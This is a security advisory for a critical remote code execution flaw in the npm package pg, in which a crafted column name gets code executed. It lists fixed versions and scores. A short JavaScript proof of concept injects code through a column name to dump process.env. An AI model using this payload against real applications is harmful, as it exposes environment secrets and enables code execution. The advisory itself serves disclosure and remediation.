Critical

Remote Code Execution in pg

  • Disclosed: 24.07.2018
  • Updated: 11.10.2026 10:22

Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

  1. The application executes unsafe, user-supplied sql which contains malicious column names.
  2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.

Proof of Concept

js
const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Recommendation

  • Version 2.x.x: Update to version 2.11.2 or later.
  • Version 3.x.x: Update to version 3.6.4 or later.
  • Version 4.x.x: Update to version 4.5.7 or later.
  • Version 5.x.x: Update to version 5.2.1 or later.
  • Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
  • Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )

Affected software

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PlatformPackageVulnerable versionsFixed in
npm package pg < 2.11.2, >= 3.0.0, < 3.6.4, >= 4.0.0, < 4.5.7, >= 5.0.0, < 5.2.1, >= 6.0.0, < 6.0.5, >= 6.1.0, < 6.1.6, >= 6.2.0, < 6.2.5, >= 6.3.0, < 6.3.3, >= 6.4.0, < 6.4.2, >= 7.0.0, < 7.0.2, >= 7.1.0, < 7.1.2 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2

References

CVSS score 9.8/10
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
npm
Package
pg
Disclosed
24.07.2018
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-wc9v-mj63-m9g5 - CC BY 4.0

Vulnerability history: pg

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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